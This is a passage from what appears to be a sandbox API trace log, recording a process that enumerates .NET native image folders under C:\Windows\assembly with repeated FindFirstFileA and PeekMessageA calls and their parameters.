ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3270bd30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.554] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.560] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.561] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationProvider\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bad5b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bad5b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bad5b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.561] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationProvider\\490d199ea6ecf5bb1b08f3db510301df\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bad5b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bad5b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bad5b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.562] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.570] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.570] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationTypes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4998270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4998270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4998270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.572] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\UIAutomationTypes\\fdec0f4b50870ed96b38f08f61a2793b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4998270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4998270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4998270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.572] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.579] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.580] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsBase\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4f9b40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1ace080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1ace080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.582] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsBase\\8838f0c467dc81d46646cee68cd67812\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941b4c00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x941b4c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x941b4c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.583] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.611] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsForm0b574481#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33045270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x33045270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x33045270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.612] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WindowsForm0b574481#\\5968c9c32b1f2b1aa5a66127425aa990\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33045270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x33045270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x33045270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.619] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.622] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.622] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WsatConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc8b290, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfdc8b290, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfdc8b290, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.623] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\WsatConfig\\4406e6261e7a1abc4a5273ac6d7160d1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc8b290, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfdc8b290, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfdc8b290, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.623] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.634] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.634] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XamlBuildTask\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3338b0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3338b0b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3338b0b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.635] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XamlBuildTask\\a39352e760a35f5f4bb4bf016c474534\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3338b0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x333b1210, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x333b1210, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.637] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.641] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.642] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XsdBuildTask\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3352dfd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3352dfd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3352dfd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.646] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\XsdBuildTask\\ed527c6ce7dbb52de2d2fb8afb326712\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3352dfd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x3352dfd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x3352dfd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.647] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.655] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.655] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x816401c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x816401c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730058, dwReserved1=0x420064, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0114.664] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a79ff90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4a79ff90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4a79ff90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Accessibility\\8896bd90ee446760cb4e5646c4ac16e1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a79ff90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4a79ff90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4a79ff90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.665] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.669] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.670] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\AspNetMMCExt\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b386d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4b386d90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4b386d90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.671] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\AspNetMMCExt\\ec3ce5bd58a3de054a11ba260dd56574\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b386d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4b3acef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4b3acef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.672] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.676] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.676] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ComSvcConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bbdba90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bbdba90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bbdba90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.677] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ComSvcConfig\\0d4368112ebc32fed4136faafd2ee26b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bbdba90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bc01bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bc01bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.678] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.686] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.686] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\CustomMarshalers\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59217690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59217690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59217690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.688] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\CustomMarshalers\\d5251eadcf77a3a64de3e3425d619c18\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59217690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59217690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59217690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.690] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.694] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.695] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\dfsvc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bda4b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bda4b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bda4b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.696] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\dfsvc\\0fd9fa3a9fc57cda0ed39f2095fdc4f2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bda4b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4bda4b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4bda4b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x330065, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.697] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.701] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.701] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.A3ec156ec#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59394450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59394450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59394450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.703] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.A3ec156ec#\\442fdc33657b27d6eadad35bc563f869\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59394450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x59394450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x59394450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.707] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.709] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.709] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B22c61a69#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a5af10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x58a5af10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x58a5af10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.711] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B22c61a69#\\7a82719c89e642f8d17fd9c315a0d2b0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58a5af10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x58a81070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x58a81070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.714] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.716] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.716] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B3325a29b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c04ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54c04ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54c04ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.718] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B3325a29b#\\917c730a5c22dc41f74ca94fc69e1879\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54c04ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x54c04ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x54c04ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.722] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.724] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.724] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.B83e9cb53#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee54b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5ee54b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5ee54b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, 